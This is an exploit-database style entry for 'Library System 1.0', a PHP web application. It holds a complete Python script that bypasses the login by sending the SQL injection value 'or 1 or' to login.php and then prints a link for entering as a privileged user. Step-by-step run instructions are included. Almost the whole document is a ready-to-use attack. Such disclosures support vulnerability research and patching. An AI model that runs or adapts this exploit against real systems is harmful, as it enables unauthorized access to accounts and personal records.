Library System 1.0 – Authentication Bypass

# Exploit Title: Library System 1.0 - Authentication Bypass Via SQL Injection

# Exploit Author: Himanshu Shukla

# Date: 2021-01-21

# Vendor Homepage: https://www.sourcecodester.com/php/12275/library-system-using-php.html

# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/libsystem.zip

# Version: 1.0

# Tested On: Windows 10 + XAMPP 7.4.4

# Description: Library System 1.0 - Authentication Bypass Via SQL Injection

#STEP 1 : Run The Exploit With This Command : python3 exploit.py

#STEP 2 : Input the URL of Vulnable Application.For Example: http://10.9.67.23/libsystem/

#STEP 3 : Open the Link Provided At The End After Successful authentication bypass in Browser.

#Note - You Will Only Be Able To Access The Student Area as a Privileged User.

import requests

YELLOW ='\033[33m' # Yellow Text

GREEN ='\033[32m' # Green Text

RED ='\033[31m' # Red Text

RESET = '\033[m' # reset to the defaults

print(YELLOW+'________ ____ ', RESET)

print(YELLOW+'___| |_ ___ / / ___|| |__ __ ___| |/ _ \____', RESET)

print(YELLOW+'|__/ || (__ / /___) | | | | (_| | (_| | |_| |\ VV / ', RESET)

print(YELLOW+' \___|\__\___/_/|____/|_| |_|\__,_|\__,_|\___/\_/\_/', RESET)

print(YELLOW+" ", RESET)

print('********************************************************')

print('**LIBRARY SYSTEM 1.0**')

print('** AUTHENTICATION BYPASS USING SQL INJECTION**')

print('********************************************************')

print('Author - Himanshu Shukla')

#Create a new session

s = requests.Session()

#Set Cookie

cookies = {'PHPSESSID': 'c9ead80b7e767a1157b97d2ed1fa25b3'}

LINK=input("Enter URL of The Vulnarable Application : ")

#Authentication Bypass

print("[*]Attempting Authentication Bypass...")

values = {"student":"'or 1 or'","login":""}

r=s.post(LINK+'login.php', data=values, cookies=cookies)

#Check if Authentication was bypassed or not.

logged_in = True if not("Student not found" in r.text) else False

l=logged_in

if l:

print(GREEN+"[+]Authentication Bypass Successful!", RESET)

print(YELLOW+"[+]Open This Link To Continue As Privileged User : "+LINK+"index.php", RESET)

else:

print(RED+"[-]Failed To Authenticate!", RESET)